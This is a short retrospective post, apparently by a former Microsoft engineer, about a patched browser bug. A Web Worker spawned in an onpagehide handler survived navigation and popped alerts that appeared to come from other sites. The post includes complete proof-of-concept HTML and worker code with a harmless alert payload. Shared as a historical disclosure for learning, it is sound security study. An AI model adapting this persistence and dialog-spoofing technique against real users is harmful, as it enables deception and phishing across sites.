This variation on the resident-script theme used a Web Worker to stay alive across navigations. By spawning the Worker inside the onpagehide handler, the Worker thread kept running long after the user left the page — and its messages triggered alert dialogs that appeared to come from whatever site was currently in the foreground.
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Resident_Worker_onpagehide</title>
</head>
<body>
<script language="JavaScript">
document.body.onpagehide = function()
{
var robot = new Worker('worker.js');
robot.onmessage = function(event)
{
alert("I am alive and kicking!");
}
robot.postMessage('');
}
</script>
</body>
</html>The worker.js file simply echoed messages back on a timer:
self.onmessage = function()
{
setTimeout("self.postMessage('');", 4000);
}The Worker ran on a background thread and was not subject to the same page lifecycle teardown that killed script on the main thread. Creating it inside onpagehide meant it was born just as the page was disappearing, but continued posting messages every four seconds indefinitely — each one triggering an alert dialog in what looked like a completely different browsing context.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.